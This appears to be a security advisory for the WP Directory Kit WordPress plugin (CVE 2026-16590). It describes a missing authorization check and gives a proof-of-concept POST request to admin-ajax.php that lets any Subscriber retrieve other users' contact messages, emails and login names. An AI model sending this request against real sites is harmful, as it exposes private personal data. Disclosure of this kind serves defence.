WP Directory Kit < 1.5.5 – Subscriber+ Contact Message and User Data Disclosure | CVE 2026-16590

Description

The plugin does not perform authorization or nonce checks on one of its authenticated AJAX actions, allowing any authenticated user such as a Subscriber to retrieve stored contact messages and associated user data belonging to other users.

Proof of Concept

Prerequisite: a logged-in Subscriber account and at least one stored contact message (created when a visitor uses a listing's contact form).

As the Subscriber, POST to admin-ajax.php:

POST /wp-admin/admin-ajax.php
Cookie: <wordpress_logged_in cookie for a Subscriber account>
Content-Type: application/x-www-form-urlencoded

action=wdk_admin_action&page=wdk_messages&function=index

Result: HTTP 200 returning the rendered messages table. Each row discloses the sender email address, the full message text (including any phone or personal data), and the joined listing owner's name, login, and email. No administrator capability or nonce is required.